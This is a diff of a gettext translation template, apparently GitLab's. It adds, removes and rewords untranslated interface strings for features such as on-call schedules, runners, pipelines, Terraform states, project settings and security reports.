msgid "New Application"
@@ -18052,6 +18464,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18157,9 +18572,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18343,9 +18755,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18382,6 +18791,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr ""
@@ -18400,6 +18812,9 @@ msgstr ""
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18412,6 +18827,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18451,6 +18869,9 @@ msgstr ""
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18487,9 +18908,15 @@ msgstr ""
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr ""
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr ""
@@ -18505,6 +18932,9 @@ msgstr ""
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr ""
@@ -18514,6 +18944,9 @@ msgstr ""
msgid "NotificationEvent|Reopen issue"
msgstr ""
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr ""
@@ -18640,6 +19073,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18655,9 +19115,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18682,9 +19139,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18697,6 +19151,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18706,7 +19166,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18729,9 +19189,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -18813,6 +19270,9 @@ msgstr ""
msgid "Open raw"
msgstr ""
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr ""
@@ -18879,9 +19339,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr ""
@@ -18927,6 +19384,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -19083,6 +19543,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19197,6 +19660,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19221,9 +19687,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19488,6 +19951,9 @@ msgstr ""
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19596,9 +20062,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr ""
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19644,6 +20107,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19656,6 +20122,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr ""
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19665,6 +20134,12 @@ msgstr ""
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -19890,6 +20365,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -19899,9 +20377,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr ""
@@ -20064,18 +20539,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr ""
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr ""
@@ -20085,9 +20554,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -20109,9 +20575,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
msgstr ""
@@ -20166,6 +20629,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20295,6 +20761,24 @@ msgstr ""
msgid "Profile Settings"
msgstr ""
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20304,6 +20788,9 @@ msgstr ""
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr ""
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20334,6 +20821,9 @@ msgstr ""
msgid "Profiles|Bio"
msgstr ""
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr ""
@@ -20691,9 +21181,6 @@ msgstr ""
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -20946,7 +21433,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -20988,6 +21478,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -21048,9 +21541,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -21072,6 +21562,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21141,6 +21637,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -21522,6 +22021,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr ""
@@ -21837,6 +22339,9 @@ msgstr ""
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr ""
@@ -21990,6 +22495,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -22073,9 +22581,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22150,6 +22655,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr ""
@@ -22177,9 +22685,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr ""
@@ -22384,9 +22889,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22402,15 +22904,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr ""
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr ""
@@ -22489,6 +22988,14 @@ msgstr ""
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22521,6 +23028,11 @@ msgstr ""
msgid "Reports|Execution time"
msgstr ""
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Failure"
msgstr ""
@@ -22572,6 +23084,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22602,12 +23117,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr ""
@@ -22635,6 +23156,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22668,10 +23192,10 @@ msgstr ""
msgid "Repository storage"
msgstr ""
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -22789,12 +23313,18 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr ""
@@ -22921,6 +23451,9 @@ msgstr ""
msgid "Retry"
msgstr ""
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr ""
@@ -22959,6 +23492,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -22979,6 +23515,9 @@ msgstr[1] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr ""
@@ -23048,6 +23587,9 @@ msgstr ""
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -23111,12 +23653,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23144,9 +23680,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23249,12 +23782,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr ""
@@ -23273,7 +23800,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23330,15 +23857,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr ""
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr ""
@@ -23441,6 +23962,9 @@ msgstr ""
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23480,9 +24004,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23562,6 +24083,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -23748,6 +24272,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -23912,6 +24439,12 @@ msgstr ""
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -24029,9 +24562,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr ""
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24374,12 +24904,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24422,21 +24946,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr ""
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr ""
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr ""
@@ -24455,6 +24988,9 @@ msgstr ""
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr ""
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr ""
@@ -24551,9 +25087,6 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -24608,13 +25141,16 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24643,6 +25179,9 @@ msgid_plural "Showing %d events"
msgstr[0] ""
msgstr[1] ""
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -24738,10 +25277,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -24792,6 +25334,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr ""
@@ -24903,9 +25448,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -24951,7 +25493,7 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -25032,10 +25574,13 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25317,10 +25862,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25344,6 +25889,9 @@ msgstr ""
msgid "Specify the following URL during the Runner setup:"
msgstr ""
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25461,9 +26009,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25623,6 +26168,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -25791,6 +26348,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -25800,6 +26360,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -25848,6 +26411,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -26022,6 +26588,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26190,9 +26759,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr ""
@@ -26232,6 +26798,9 @@ msgstr ""
msgid "Terms of Service and Privacy Policy"
msgstr ""
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26242,24 +26811,48 @@ msgid_plural "Terraform|%{number} Terraform reports were generated in your pipel
msgstr[0] ""
msgstr[1] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26280,6 +26873,12 @@ msgstr[1] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26307,6 +26906,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26337,6 +26939,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26432,9 +27037,6 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26444,10 +27046,10 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
-msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
msgstr ""
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
+msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
@@ -26516,9 +27118,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
